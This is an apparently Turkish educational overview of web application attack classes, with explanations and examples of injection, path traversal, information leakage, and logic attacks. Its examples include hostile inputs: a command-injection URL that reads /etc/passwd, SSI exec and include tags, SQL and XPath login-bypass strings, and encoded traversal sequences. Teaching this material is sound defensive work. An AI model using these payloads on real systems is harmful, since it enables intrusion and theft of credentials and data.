http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls|
Birçok betik dili, değişik exec fonksiyonlarını kullanarak, programcıya yürütme esnasında işletim şistemi komutları çalıştırma izni verir. Eğer bir web uygulaması kullanıcı kaynaklı girdinin denetlenmeden böyle bir fonksiyon çağrısının içerisinde kullanılmasına izin verirse, saldırganın uzaktan işletim sistemi komutları çalıştırması mümkün hale gelir.
Örneğin, aşağıdaki PHP betiğinin parçası, sistem klasörünün içeriğini gösterir
(Unix sistemlerinin):
exec("ls -la $dir",$lines,$rc);
Kabuk komutunun, sonuna noktalı virgül ( ve işletim sistemi komutu ekleyerek alışırsa, web uygulması ikinci komutu çalıştırmaya zorlanabilir:
http://example/directory.php?dir=;cat /etc/passwd
Sonuç /etc/passwd dosyasının içeriğini döndürecektir.
e - SQL Enjeksiyonu
SQL enjeksiyonu, kullanıcı kaynaklı girdilerden SQL cümleleri oluşturan web sitelerini sömürmek için kullanılan bir saldırı tekniğidir.
Structured Query Language (SQL) veritabanlarına sorgu yapmak üzerine özelleşmiş bir programlama dilidir. Birçok küçük ve endüstriyel güçteki veritabanı uygulamalarına SQL cümleleri aracılığıyla ulaşılabilir. SQL hem ANSI hem de ISO standardıdır.
Eğer bir web uygulaması, kullanıcı kaynaklı girdiyi düzgün bir biçimde denetlemezse, bir saldırgan arka taraftaki SQL cümlesi oluşumunu değiştirebilir.
Saldırgan SQL cümlesini değiştirdiğinde, işlem komutu çalıştıran öğenin haklarıyla çalışacaktır. (örn. veritabanı sunucusu, web uygulaması, web sunucusu, vb.) Bu saldırının sonucu olarak saldırgan, veritabanının tamamının kontrolünü eline geçirebildiği gibi, sistem üzerinde de komutlar çalıştırabilir.
LDAP enjeksiyonu için geçerli olan gelişmiş sömürme teknikleri benzer bir biçimde SQL enjeksiyonunda da uygulanabilir.
Örnek
Bir web tabanlı kimlik doğrulama formu şöyle bir koda sahip olabilir:
SQLQuery = "SELECT Username FROM Users WHERE Username = "" & strUsername & "" AND Password = "" & strPassword & """ strAuthCheck = GetQueryResult(SQLQuery)
Bu kodda, geliştirici kullanıcı girdisini formdan alıp doğrudan SQL sorgusunun içine gömüyor.
Farzedelim ki, saldırgan şöyle bir kullanıcı adı ve parola giriyor:
Login: " OR ""="
Password: " OR ""="
Bu, sonuçlanan SQL sorgusunun şöyle olmasına sebep olur:
SELECT Username FROM Users WHERE Username = "" OR ""="" AND Password = "" OR ""=""
Kullanıcılar tablosundaki bilgilerle kullanıcının girdiği bilgileri karşılaştırmak yerine, sorgu "" ile "" karakterlerini karşılaştırıyor. Bu karşılaştırmada doğru sonuç dönecek ve saldırgan kullanıcılar listesindeki ilk kullanıcı olarak sisteme girecektir.
Genel olarak bilinen iki SQL enjeksiyon metodu bulunmaktadır:
Normal SQL enjeksiyonu ve Kör SQL Enjeksiyonu.
1. Normal SQL Enjeksiyonu
Parametreye “union select” cümlesi ekleyerek saldırgan veritabanına giriş hakkı kazanıp kazanamayacağını test edebilir.
http://example/article.asp?ID=2+union+all+select+name+from+sysobjects
SQL sunucusu şuna benzer bir hata döndürebilir:
Microsoft OLE DB Provider for ODBC Drivers error "80040e14"[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
Bu, saldırgana, SQL cümlesinin çalışabilmesi için gerekli sütun sayısını tahmin etmesi gerektiğini söyler.
2. Kör SQL Enjeksiyonu
Kör SQL Enjeksiyonunda sunucu veritabanı hatası yerine kullanıcı dostu bir hata sayfası döndürerek kullanıcıya bir hata yaptığını bildirir. Bu durumda, SQL enjeksiyonu hala yapılabilir, fakat keşfedilmesi o kadar kolay olmaz. Kör SQL enjeksiyonunun keşfedilmesinde parametre değerine doğru veya yanlış cümleler girilmesi ortak kullanılan bir yoldur.
Bir web sitesi, şu talep yapıldığında:
http://example/article.asp?ID=2+and+1=1
bu taleple aynı sonucu döndürmelidir,
http://example/article.asp?ID=2
çünkü 1=1 SQL cümlesi her zaman doğrudur.
Bir web sitesi, şu talep yapıldığında:
http://example/article.asp?ID=2+and+1=0
kullanıcı dostu bir hata sayfası döndürecek veya hiçbir sayfa döndürmeyecektir.
Çünkü and 1=0 SQL cümlesi her zaman yanlış bir cümledir. Saldırgan sitenin kör SQL enjeksiyonuna açık olduğunu farkettiğinde, bazı durumlarda, bu açıklığı normal SQL enjeksiyonundan daha kolay bir şekilde sömürebilir.
f - SSI Enjeksiyonu
SSI Enjeksiyonu (Server-side Include) bir saldırganın, bir web uygulamasına, daha
sonradan web sunucusu tarafından yerel olarak çalıştırılması için, kod göndermesine izin veren bir sömürü tekniğidir. SSI enjeksiyonu, web uygulamasının kullanıcı kaynaklı veriyi sunucu tarafında hazırlanan HTML dosyasına denetim yapmadan koyması hatasını sömürür.
Eğer bir saldırgan sunucu taraflı Include cümleleri yollarsa, keyfi işletim sistemi komutları çalıştırabilme yeteneğine sahip olabilir, veya kısıtlı bir dosyanın içeriğini sayfanın bir sonraki servisine dahil ettirebilir.
Örnek
Takip eden SSI etiketi (tag), bir saldırganın, bir UNIX tabanlı sistemin kök dizininin listesini almasını sağlar.
<!-- #exec cmd="/bin/ls /" -->
Takip eden SSI etiketi, bir saldırganın, bir .NET konfigürasyon dosyasında saklanan veritabanı bağlantı dizesini veya başka hassas verileri elde etmesini sağlar.
<!-- #INCLUDE VIRTUAL="/web.config"-->
g - Xpath Enjeksiyonu
XPath enjeksiyonu, kullanıcı kaynaklı girdilerden Xpath sorguları oluşturan web sitelerini sömürmek için kullanılan bir tekniktir. Xpath 1.0 bir XML dökümanının parçalarını işaret etmek için kullanılabilir. Doğrudan uygulama tarafından bir XML dökümanını sorgulamak için kullanılabildiği gibi, XSTL dökümanının XML dökümanına dönüşümü veya XML dökümanına Xquery uygulanması gibi daha büyük bir işlemin parçası olarak da kullanılabilir. Xpath kullanarak bir xml dökümanında SQL benzeri sorgular oluşturmak mümkündür.
Örneğin, kullanıcı isimli bir elemanı olan bir XML dökümanı olsun, ve bütün bu kullanıcıların isim, parola ve hesap isimli 3 tane alt elemanı olsun. Takip eden Xpath ifadesi “jsmith” isimli ve “Demo1234” parolalı kullanıcının hesap numarasını verir. (veya böyle bir kullanıcı yoksa boş dize verir.)
string(//user[isim/text()="jsmith" and parola/text()="Demo1234"]/hesap/text())
Eğer bir uygulama, Xpath sorgusunu yürütme esnasında oluşturuyorsa, sorguya güvenli olmayan kullanıcı girdisi gömerek sorguya veri enjekte edebilir ve yeni oluşan sorgu programcının isteğinin dışında çalışabilir.
Örnek
Düşünün ki bir web uygulaması bir XML dökümanına sorgu yapmak için Xpath kullanıyor ve ismi ve parolası girilen bir kullanıcının hesap numarasını getiriyor. Bu uygulama bu değerleri doğrudan Xpath sorgusunun içine gömebilir ve güvenlik açığı oluşturabilir.
İşte bir örnek (Microsoft ASP.NET ve C# kullanılarak)
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr = nav.Compile("string(//kullanıcı[name/text() =""+TextBox1.Text+""and password/text()=""+TextBox2.Text+ ""]/account/text())");
String account=Convert.ToString(nav.Evaluate(expr));
if (account=="")
{
// name+password pair is not found in the XML document
// login failed.
}
else
{
// account found -> Login succeeded.
// Proceed into the application.
}
Bu kod kullanıldığında, bir saldırgan Xpath ifadeleri enjekte edebilir ve örneğin, takip eden değeri kullanıcı adı olarak sağlayabilir.
" or 1=1 or ""="
Bu orjinal Xpath in anlamının değişmesine, ve her zaman XML dökümanındaki ilk hesap numarasının dönmesine sebep olur. Bu durumda sorgu,
string(//kullanıcı[isim/text()="" or 1=1 or ""="" and parola/text()
="foobar"]/hesap/text())
Bu (önermedeki eşitlik her zaman doğru olacağından) şununla eşdeğerdir:
string(//kullanıcı/hesap/text()) ve ilk //kullanıcı/hesap/text() örneğini döndürür.
Bu yüzden, saldırı, doğru kullanıcı adı ve parolası girmediği halde saldırganı sisteme sokar (XML dökümanındaki ilk kullanıcı olarak).
Bilgi Açığa Çıkarma
Sisteme özel bilgilerin açığa çıkarılmasına yönelik saldırıları içerir. Sisteme özel bilgiler, yazılım dağıtımı, versiyon numaraları ve yama seviyelerini içerir. Veya bu bilgi yedek ve geçici dosyaların yeri de olabilir. Çoğu durumda, kullanıcı gereklerini karşılamak için bu bilgiyi açığa çıkarmak gerekli değildir. Birçok web sitesi bir kısım veriyi gösterecektir, fakat mümkün olduğu durumlarda, gösterilen bu verinin boyutunu azaltmak en iyisi olacaktır. Saldırgan web sitesi hakkında ne kadar çok bilgi sahibi olursa, siteyi ele geçirmesi de o kadar kolay olur.
Dizin Endeksleme
Bir web sitesinin, talep edilen dizinin içerisindeki bütün dosyaları listelemesi şeklindeki gerçekleşen bir fonksiyonudur. “ls” (Unix) veya “dir” (Windows) komutunun bu dizinde çalıştırılmasıyla eşdeğerdir ve sonuçları HTML biçiminde gösterir. Saldırı ve karşı tedbir gözüyle bakarsak, istenmeyen dizin listelemelerinin yazılım açıkları ile birleşen özel bir web talebi sonucunda ortaya çıkabileceğini anlamak önemlidir.
Takip eden bilgiler dizin indeksleme sayesinde elde edilebilir:
• Yedek Dosyalar - .bak, .old veya .orig uzantılı dosyalar.
• Geçici Dosyalar – bu dosyaların normalde sunucu tarafından yok edilmesi gerekir fakat bazı sebeplerden dolayı hala erişilebilir durumdalar.
• Gizli Dosyalar – “.” İle başlayan dosya isimleri
• İsimlendirme kabulleri – saldırgan, web sitesinin kullandığı dizin veya dosya isimleri kompozisyonunu tanımlayabilir. Örnek: Admin vs. Admin, backup vs. back-up, vb.
• Kullanıcı Hesaplarını Tarama – bir web sunucusundaki kişisel kullanıcı hesabının sahip olduğu dizin, çoğu zaman kullanıcının adı ile adlandırılır.
• Konfigürasyon Dosyası İçeriği – bu dosyalar giriş kontrolu verilerini içerebilir ve uzantıları genellikle .conf, .cfg veya .config’dir.
• Betik İçeriği – Birçok web sunucusu betiklerin bir yer belirtilerek(örn. /cgi-bin) veya sunucuyu konfigüre ederek dosya izinlerine bağlı olarak çalıştırılmasına izin verir (örn. *nix sistemlerdeki execute biti ve Apache’nin XbitHack direktifini kullanması). Bu seçeneklere göre, eğer cgi-bin klasöründe dizin indekslemesine izin veriliyorsa, izin olmadığı halde bu klasördeki betik kodları indirilebilir, izlenebilir.
Bir saldırganın istenmeyen bir dizinin listesini elde edebilmesi için 3 değişik senaryo vardır:
1. Web sunucusu hatalı bir şekilde dizin indkslenmesine izin verir şekilde konfigüre edilmiştir. Karışıklık, web yöneticisinin konfigürasyon dosyasındaki indeksleme direktiflerini ayarlarken ortaya çıkabilir. Bu kadar karmaşık bir sistemin ayarlarının yapılması sırasında istenmeyen sonuçların ortaya çıkması mümkündür, mesela özel bir alt dizine indeksleme hakkı verilirken sunucunun kalan kısmında bu hak kaldırılabilir. Saldırgan gözüyle HTTP isteği az önce yukarıda belirtilen (sadece etki alanı ile) şekilde yapılır. Bir dizin istenir ve istenen sonucun alınıp alınmadığına bakılır. Saldırganlar web sunucusunun “neden” bu şekilde konfiüre edildiği ile ilgilenmezler.
2. Web sunucusunun bazı parçaları kapalı olduğu halde ve indeks dosyası bulunduğu halde dizin indekslemeye izin verir. Bu, dizin indeksleme için geçerli olan tek sömürü örneği senaryosudur. Birçok web sunucusunda tanımlanan sayısız açıklık bulunmaktadır ve eğer özel HTTP talepleri gönderilirse dizin indeksi ile sonuçlanabilir.
3. Google’ın önbellek veritabanı bir web sitesinin eski taranmasından kalma, dizin indeksi de içerebilen tarihi veriler bulundurabilir.
Bilgi Sızdırma
Bir web sitesine ait hassas veriler için, geliştirici yorumları veya hata mesajları gibi, bu veriler bir saldırganın sistemi sömürmesine yardımcı olabilir. Hassas veri, HTML yorumlarında, hata mesajlarında, kaynak HTML kodunda veya basitçe açık bir düzyazı alanında bulunabilir. Bir web sitesini bu türlü verileri ifşa ettirmeye yarayan birçok yol bulunur. Bu türlü sızıntılar, her zaman doğrudan bir güvenlik açığı olmadığı halde, saldırgana ileriki saldırılarında yararlı bir rehber olabilir. Hassas veri sızıntısı değişik seviyerlerde risk taşıdığından mümkün olduğu kadar önlenmelidir.
Bilgi kaçağının ilk durumunda (HTML kodunda bırakılan yorumlar, hata mesajlarının açık edilmesi), açık; saldırgana dizin yapısı, SQL sorgu yapısı ve web sitesinin kullandığı anahtar işlemler hakkında yapısal bilgi verir. Çoğu zaman geliştirici HTML içerisine yorum veya hata ayıklama ve entegrasyon amaçlı betik kodu bırakır. Bu bilgi betiğin nasıl çalıştığını belirten yorumdan, en kötü durumda, geliştirmenin test aşmasında kullanılan kullanıcı adları ve parolalar olabilir.
Bilgi sızıntısı, gizli zannedilen veriler için de, web sitesi tarafından düzgün bir biçimde korunmadığında geçerlidir. Bu veri, hesap numaraları, kullanıcı tanımlayıcıları (ehliyet numarası, pasaport numarası, kimlik numarası, vb.) ve kullanıcıya özel veri (hesap bakiyesi, adres ve işlem geçmişi, vb.) içerebilir. Yetersiz kimlik doğrulama, yetersiz yetkilendirme ve güvenli iletim şifrelenmesi de veriyi koruyan ve veriye erişimde düzgün kontrolü sağlayan mekanizmalardır. Birçok saldırı, müşteri saldırıları, sıradan gözlemciler, gibi, web sitesinin korunması kapsamının dışında kalır. Bilgi sızıntısı, bu bağlamda, açık bir şekilde kullanıcıya bile gösterilmemesi gereken, gizli ve anahtar kullanıcı verilerinin ifşa edilmesiyle ilgilenir. Kredi kartı numaraları, düzgün şifreleme ve giriş kontrolü yapılsa bile bu tür ifşalardan korunması gereken kullanıcı verilerinde önemli bir örnektir.
Örnek
Bilgi sızıntısı 3 ana kategoride incelenebilir: HTML kodunda bırakılan yorumlar, hata mesajlarının ifşası, açık bir şekilde görünebilen gizli veriler.
HTML kodunda bırakılan yorumlar:
<TABLE border="0" cellPadding="0" cellSpacing="0"
height="59" width="591">
<TBODY>
<TR>
<!--If the image files are missing, restart VADER -->
<TD bgColor="#ffffff" colSpan="5" height="17" width="587"> </TD>
</TR>
Burada gördüğümüz gibi, geliştirici/kalite kontrol personelinden birisi resim dosyalarının görüntülenememesi halinde neler yapılması gerektiğini belirten yorum bırakmıştır. Güvenlik açığı ise, yorumun içerisinde açık bir şekilde geçen sunucu ismidir, “VADER”.
Hata mesajlarının açık edilmesine örnek, geçersiz sorgulara verilen cevaplar olabilir. Çok bilinen bir örnek, SQL sorgularıyla ilişkilendirilmiş hata mesajlarıdır. SQL enjeksiyonu saldırıları, saldırganın, sitedeki SQL sorgularının oluşturulmasının yapısı ve biçimi hakkında ön-bilgi sahibi olmasını gerektirir. Açık edilen hata mesajlarındaki bilgi, saldırgana, arkadaki veritabanında geçerli SQL sorgularının nasıl oluşturulduğu hakkında önemli bilgi sağlar.
Takip eden bilgi bir giriş formundaki kullanıcı adı kısmına tek tırnak işareti konduğunda sunucu tarafından döndürülmüştür.
Açık hata mesajı:
An Error Has Occurred.
Error Message:
System.Data.OleDb.OleDbException: Syntax error (missing operator) in query expression "username = """ and password = "g"". At System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(Int32 hr) at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object& executeResult) at…
İlk hata cümlesinde sözdizimi hatası rapor edilmiş.
Hata mesajı SQL sorgusunda kullanılan sorgu parametrelerini açık etmektedir:
username ve password. Bu ifşa edilen bilgi saldırganın siteye yapacağı SQL enjeksiyonu saldırılarına başlaması için gereken tek eksik parçadır.
Yol Takibi
Web dökümanları kök dizininin dışında kalan dosyalara, dizinlere veya komutlara erişimi sağlar. Bir saldırgan URL’i öyle bir şekilde düzenleyebilir ki, web sitesi web sunucusu üzerindeki rastgele dosyaları çalıştırır veya görüntüler. HTTP-tabanlı arayüze sahip her makina potansiyel olarak “Yol Takibi”’ne açıktır.
En genel “Yol Takibi” saldırısı, URL’de istenen kaynağın yerini değiştirmek için “../” özel karakterlerini kullanır. Birçok popüler web sunucusu web dökümanı kök dizininden çıkışı engellese de, “../” karakterlerinin değişik kodlanması, güvenlik filtrelerini aşabilir. Bu metot şekilleri arasında, eğik çizgi karakterinin geçerli veya geçersiz Unicode kodlanması (“..∖” veya “..%c0%af”), Windows tabanlı sistemlerdeki ters eğik çizgi karakterinin kullanılması (“..\”), URL kodlanmış karakterler (“%2e%2e%2f”), ve ters eğik çizgi karakterinin iki kez URL kodlanması (“..%255c”) bulunur.
Web sunucusu, URL üzerinden, “Yol Takibi”’ni düzgün bir şekilde kısıtlasa da, web uygulmasının kendi kullanıcı girdisini düzgün bir şekilde denetlemezse, bu saldırıya açık olabilir. Bu, şablon mekanizması kullanan veya dosyadan durağan bir yazı yükleyen web uygulamalarında ortak görülen bir sorundur. Saldırının çeşitli şekillerinde, orjinal URL parametresi, web uygulamasının dinamik bir betiğinin dosya ismiyle değiştirilir. Sonuç olarak, dönen sayfa kaynak kodu gösterir, çünkü dosya yürütülebilir bir betik şeklinde değil de yazı dosyası olarak okunmuştur.
Bu teknik çoğu zaman özel karakterlerden de faydalanır, örneğin (“.”) nokta karakteri şu anda çalışmakta olan dizinin listesini göstermeye, “%00” NULL karakteri de temel dosya uzantısı kontrollerini geçmeye yarar.
Örnek
Bir web sunucusuna karşı “Yol Takibi” saldırıları:
Saldırı: http://örnek/../bir/dosya
Saldırı: http://örnek/..%5c..%5c..%5cbir/dosya
Saldırı: http://örnek/..∖..∖bir/dosya
Bir web uygulamasına karşı “Yol Takibi” saldırıları:
Orjinal: http://example/foo.cgi?home=index.htm
Saldırı: http://example/foo.cgi?home=foo.cgi
Yukarıdaki örnekte, web uygulaması foo.cgi dosyasındaki kaynak kodu gösterir, çünkü “home” değişkeninin değeri içerik olarak kullanılmıştır. Dikkatinizi çektiyse, bu durumda saldırgan, başarılı olmak için “Yol Takibi”’ne yarayan veya herhangi bir geçersiz karakter kullanmak zorunda kalmamıştır. Saldırgan aynı dizindeki başka bir dosyayı hedef almıştır.
Bir web uygulamasına karşı özel karakter dizileri kullanılarak yapılan saldırılar:
Saldırı: http://example/scripts/foo.cgi?page=../scripts/foo.cgi txt
Yukarıdaki örnekte, web uygulaması foo.cgi dosyasının kaynak kodunu özel karakter dizileri kullanarak yapılan saldırı sonucu görüntülemiştir. “../” dizisi bir üst dizine çıkmaya oradan da /scripts dizinine girmeye yaramıştır. “%00” dizisi hem dosya uzantısı kontrölünü geçmek için hem de dosya okunduğunda uzantısının atılması için kullanılır.
Tahmin Edilir Kaynak Konumu
Web sitesinin gizli içeriğini veya işlevini açığa çıkarmak için kullanılan bir saldırı tekniğidir. Mantıklı tahminler yaparak, saldırı kamusal izlenime kapalı olan içeriği birer birer deneyerek arar. Geçici dosyalar, yedek dosyaları, konfigürasyon dosyaları, ve örnek dosyalar potansiyel olarak ortada bırakılmış dosyalara örnek olabilir. Bu birer birer deneyerek arama işlemi kolaydır çünkü gizli dosyalar genelde aynı şekilde isimlendirilir ve benzer yerlerde bulunur. Bu dosyalar web uygulamasının içeriği, veritabanı bilgisi, parolalar, makina isimleri, diğer hassas bölgelere olan dosya yolları hakkında hassas bilgileri içerebilir veya açıklıkları içerisinde bulundurabilir. Bu bilgilerin açığa çıkarılması saldırgan için çok değerlidir.
Tahmin edilebilir kaynak konumu saldırısı Güçlü Tarama, Dosya Sıralama, Dizin Sıralama vb. olarak da bilinir.
Örnek
Herhangi bir saldırgan kamuya açık bir web sunucusuna rastgele dosya veya dizin talebinde bulunabilir. Kaynağın bulunup bulunmadığı web sunucusunun döndüğü HTTP dönüş kodları incelenerek bulunabilir.
Birçok Yeri Tahmin Edilebilir Kaynak saldırı çeşidi bulunur.
Ortak dosya ve dizinlerin kör aranması:
/admin/
/backup/
/logs/
/açık_dosya.cgi
Bulnunan dosyalara uzantı ekleme: (/test.asp)
/test.asp.bak
/test.bak
/test
Mantıksal Saldırılar
Fonksiyonelliğin Kötüye Kullanımı
Fonksiyonelliğin kötüye kullanımı, web uygulama saldırıları kategorileri ile iç içedir. Fonksiyonelliğin kötüye kullanılma saldırıları aynı zamanda güç arttırmak amacı ile yaygın olarak kullanılır. Mesela, saldırgan bir web söyleşi sitesine XSS parçasını enjekte ederek ve sitenin "herkese gönder" fonksiyonunu kullanarak kötü amaçlı kod ile bütün siteye etki edebilir.
Örnek
Fonksiyonelliğin kötüye kullanılma örnekleri: a) bir web sitesindeki sorgulama fonksiyonunun web dizini dışındaki kısıtlanmış dosyalara ulaşılmasında kullanılması, b) bir dosya yükleme altsisteminin dahili kritik konfigürasyon dosyalarının değiştirilmesinde kullanılması, ve c) Bir web-kullancı giriş sayfasının tanımlı kullanıcı isimleri ve tanımsız parolalar ile bombardıman edilerek tanımlı kullanıcıların, belirli bir tekrar deneme limiti aşıldığı için, hesapları kilitlenerek uygulamanın servis dışı bırakma saldırısına uğratılması gibi saldırıları içerir.
Genel bir kaç uygulama saldırıları şöyledir:
1. Matt Wright FormMail
PERL tabanlı "FormMail" web uygulaması, normal olarak kullanıcı tarafından sağlanan form verilerinin önceden programlanmış bir e-mail adresine gönderilmesi için kullanılıyordu. Betik, web sitelerine geri beslemeyi sağlayacak, kullanılması kolay bir çözüm sağlıyordu. Bu nedenle, FormMail betiği çevrimiçi olarak en çok kullanılan CGI programlarından biriydi. Ne yazık ki, programın bu yüksek derecedeki kolaylığı ve kullanılabilirliği saldırganlar tarafından uzaktaki herhangi bir alıcıya e-mail yollanması suretiyle kötüye kullanılmıştı. Kısacası, bu web uygulaması tarayıcıdan tek bir web isteğiyle bir spam-rölesi motoruna (spam-relay) dönüştürülmüştü.
Saldırganın istenilen e-mail parametrelerini içeren bir URL oluşturup, CGI programına HTTP GET yollaması yeterliydi. Mesela;
http://example/cgi-bin/[email protected]&message=you&got&spam
Web sunucunun yollayıcı olarak davranması ve web uygulamasının saldırgana tamamen vekalet etmesi ile bir e-mail üretilir. Betiğin bu versiyonunda hiç bir güvenlik mekanizması bulunmadığından, uygulanabilecek tek savunma önlemi, kullanılacak özel e-mail adresinin betiğin içine gömülmesiydi. Bu çözümün engellenmesi durumunda ise, site operatörleri web uygulamasını ya tam olarak kaldırmak ya da tamamen değiştirmek zorunda kalıyorlardı.
2. Macromedia"nın Cold Fusion"u
Bazen web uygulamalarının içine istenmeyen amaçlar için kolaylıkla kullanılabilen temel yönetimsel araçlar gömülürler. Örnek olarak, Macromedia"nın Cold Fusion"u kurulum ile birlikte gelen ve herkes tarafından erişilebilen bir kaynak kod görüntüleme modülüne sahiptir. Bu modülün suistimali web uygulamasında ciddi bir bilgi sızmasına yol açabilir. Çogunlukla bu tür modüller, örnek dosyalar veya kurulum dışı fonksiyonlar değil, kritik sistem bileşenleridirler. Bu durum web uygulamaları sistemlerine derinden bağlandıkları nedeniyle bu tür modüllerin kapatılmalarını problemli kılar.
3. Smartwin CyberOffice Alışveriş Sepeti Fiyat Değişikliği
Fonksiyonelliğin suistimali bir saldırganın web uygulamasının davranışını değiştirmek için verileri umulmadık bir şekilde bozmasıyla gerçekleşir. Mesela, CyberOffice alışveriş sepeti, web formunun içindeki gizli fiyat alanının değiştirilmesi ile suistimal edilebilir. Web sayfası normal olarak indirilir, değiştirilir ve sonra fiyat alanı istenilen herhangi bir fiyata eşitlenerek geri yollanılır.
Denial of Services (DoS) - Servis Dışı Bırakma
Bir web sitesini normal kullanıcı aktivitelerinden alıkoymak amacıyla gerçekleştirilen saldırı tekniğidir. Bir çok zaman DoS saldırıları bir web sitesinin varolan bütün sistem kaynaklarını bitirmeye çalışırlar, bu kaynaklara örnek olarak; CPU, hafıza, disk yeri, v.b. verilebilir. Bu kritik kaynaklardan herhangi biri tam güç kullanıldığında, web sitesi normal olarak erişilemez olacaktır.
Bugünün web uygulamaları bir web sunucusu, veritabanı sunucusu ve bir yetkilendirme sunucusu içerdiğinden, uygulama tabakasındaki bir DoS, bu birbirinden bağımsız bileşenlerden herhangi birini hedef alabilir. Çok büyük miktarda bağlantı teşebbüsü gerektiren network tabakasındaki DoS"dan farklı olarak, uygulama tabakasındaki DoS çok daha kolay uygulanabilir bir iştir.
Basit bir uygulama tabakası DoS saldırısı, medikal geçmiş raporu üretilmesi için 10 isteğin aynı anda gönderilmesi olacaktır. Bu istekler, veritabanı sunucusunun CPU"sunu %100 yoğunluğa ulaştıracağından web sitesini büyük bir ihtimalle hizmet dışı durumuna sokacaktır. Bu noktada sistem normal kullanıcı aktivitesine servis veremez hale gelecektir.
1. Belli Bir Kullanıcıyı Hedef Alan DoS
Saldırgan belli bir kullanıcı adı ve bilinçli olarak üretilmiş yanlış bir parola ile bir web sitesine girmek isteyecektir. Bu işlem en sonunda kullanıcı adı kullanılan kişinin hesabını kitleyecektir.
2. Veritabanını Hedef Alan DoS
Saldırgan veritabanını değiştirip sistemi kullanılmaz hale getirmek (Bütün veriyi, kullanıcı adlarını silerek, v.b.) için SQL Enjeksiyonu tekniklerini kullanacaktır.
3. Web Sunucusunu Hedef Alan DoS
Saldırgan, web sunucusu işini (proses) sonlandıran özel olarak hazırlanmış bir istek göndermek için arabellek taşması tekniklerini kullanacak ve sistemi normal kullanıcı aktivitelerine erişilmez hale getirecektir.
Yetersiz Anti-otomasyon
Bir web sitesinin saldırgana normalde manual olarak (elle) yapması gereken bir işi otomatik olarak yapabilmesine izin verdiği durumdur. Bazı web sitesi fkonsiyonları otomatikleştirilmiş saldırılara karşı korunmalıdır.
Göz önünde bulundurulmamış otomatik robotlar (programlar) veya saldırganlar, web sitesinin fonksiyonlarını sistemi sömürmek veya dolandırmak için tekrar tekrar kullanabilirler. Otomatik bir robot bir dakika içinde binlerce istek çalıştırıp potansiyel iş ve servis kaybına neden olur.
Mesela, otomatik bir robot bir kaç dakika içinde onbinlerce yeni hesap açamamalıdır. Benzer olarak, otomatik robotlar diğer kullanıcıları mesaj tahtalarına tekrar tekrar mesaj yollayarak taciz edememelidirler. Bu operasyonlar sadece insanların kullanabileceği operasyonlar olarak kısıtlanmalıdırlar.
Yetersiz İş Denetimi
Bir web sitesinin saldırgana uygulamanın istenilen kontrol akışını baypas edebilmesine veya atlamasına izin verdiği durumdur. Eğer kullanıcı durumu bir iş süresince denetlenmiyor ve uygulanmıyorsa, web sitesi sömürülmeye veya dolandırılıcılığa açık olabilir.
Eğer kullanıcı bazı adımları yanlış veya hatalı bir şekilde gerçeklerse, bir veri bütünlüğü hatası oluşur. Bir kaç adımlı işler para transferi, parola kurtarılması, satın alma, hesap açma v.b. örneklerini kapsar.
Web siteleri kullanıcı durumlarını izlemek için normal olarak çerezler veya gizli HTML alanlarını kullanırlar. Ancak, izleme bilgisi istemci tarafında tarayıcıda (browser) tutulursa verinin bütünlüğü denetlenmelidir. Eğer denetlenmezse, saldırgan güncel durumunu değiştirerek umulan trafik akışını atlatabilir.
Örneğin;
Online bir alış veriş sepeti sistemi, müşterilerine bir A ürünü satın alındığında belli bir indirim sağlayabilir. Kullanıcı, A ürününü yerine bir B ürününü almak isteyebilir. Kullanıcı, sepetini ürün A ve B ile doldurarak ve hesap kesim işlemini gerçekleyerek indirimden faydalanabilir. Daha sonra kullanıcı hesap kesim işleminden geri çıkıp, A ürününü sepetten siler veya bir sonraki adımı yollamadan değerleri değiştirir. Kullanıcı daha sonra tekrar hesap kesim işleminden geçer ve daha önce sepetindeki A ürününden dolayı indirimden faydalanmış bir şekilde dolandırılmış bir alım fiyatı elde etmiş olur.
Web güvenliği açıklıkları bir web sitesinin riskini devamlı olarak artırmaktadırlar. Herhangi bir web güvenliği açıklığı tespit edildiğinde, saldırının gerçekleştirilmesi için mevcut bir çok uygulama saldırıları tekniklerinden en az birisinin kullanılması gerekmektedir. Bu teknikler güvenlik açıklığından yararlanma şekline bağlı olarak farklılık gösterir. Genel olarak saldırı türleri, buffer overflow(bellek taşması), SQL injeksiyon, XSS(siteler arası betik yazma - CSS açıkları) şeklinde sıralanabilir.
Web güvenliği tehdit sınıflandırmasının oluşturulması uygulama geliştiriciler, güvenlik uzmanları, yazılım üreticileri ve web güvenliği ile ilgilenen diğer herkes için çok önemlidir.
Örneğin, bir web sitesi XSS saldırısına karşı korunmasız ise güvenlik açısından bu eksiklik kullanıcıların çerezlerinin çalınmasına yol açabilir. Çerez çalındığı zaman, bu durum herhangi bir kişinin oturum ele geçirmesine ve kullanıcının çevrimiçi hesabının ele geçirilmesine neden olabilir. Açıklıktan yararlanmak için, saldırgan URL (Bir örnek Kaynak Konumlayıcı) parametresini değiştirerek girdi manipülasyonu gerçekleştirebilir.
Web güvenliğini artırmaya yönelik önemlerin alınması için gerekli kontrollerin yapılması, saldırı sınıflarının incelenerek analiz edilmesi gerekir.
Saldırıların Sınıflandırması
Kimlik Doğrulama
Kullanıcı, servis veya uygulama kimliğini onaylayan metodunu hedef alan saldırıları kapsar. Kimlik doğrulaması en az şu üç mekanizmadan biriyle gerçekleştirilir:
· Sahip olduğunuz bir nesne
· Bildiğiniz bir bilgi
· Sahip olduğunuz bir özellik
Web sitesinin kimlik doğrulama mekanizmasını atlatmak veya istismar etmek için kullanılan saldırıları ele almaktadır. Kaba Kuvvet Saldırıları, Yetersiz Kimlik doğrulama, Zayıf Parola Kurtarma Denetimi şeklinde kendi içerisinde sınıflandırılır.
a- Kaba Kuvvet Saldırıları
Kaba kuvvet saldırısı, bir kişinin kullanıcı ismininin, parolasının, kredi kart numaralarının veya kriptografik anahtarlarının birer birer tahmin edilmesi için kullanılan otomatik bir deneme yanılma işlemidir.
Genel bir mantık olarak kullanıcılar kolay hatırlanabilir parolalar seçmektedirler. Saldırgan sistem üzerinde binlerce, milyonlarca tahmin üreterek geçerli bir parola bulmaya çalışır. Tahmin edilen parola sisteme erişime izin verdiğinde, kaba kuvvet saldırısı başarılı olmuş ve saldırgan ilgili hesaba erişmeyi başarmış demektir.
